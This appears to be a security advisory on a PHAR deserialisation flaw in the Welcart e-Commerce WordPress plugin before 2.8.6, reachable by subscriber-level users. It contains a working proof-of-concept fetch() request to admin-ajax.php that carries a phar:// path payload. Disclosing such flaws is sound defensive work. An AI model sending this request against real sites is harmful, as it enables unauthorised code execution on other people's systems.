Welcart e-Commerce < 2.8.6 - Subscriber+ PHAR Deserialisation

The plugin does not validate user input before using it in file_exist() functions via various AJAX actions available to any authenticated users, which could allow users with a role as low as subscriber to perform PHAR deserialisation when they can upload a file and a suitable gadget chain is present on the blog

PoC

Run the below command in the developer console of the web browser while being on the blog as subscriber user fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “POST”, “body”: ‘action=wel_check_progress_ajax&progressfile;=phar://path-to-uploaded-phar.phar/log.txt’, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data));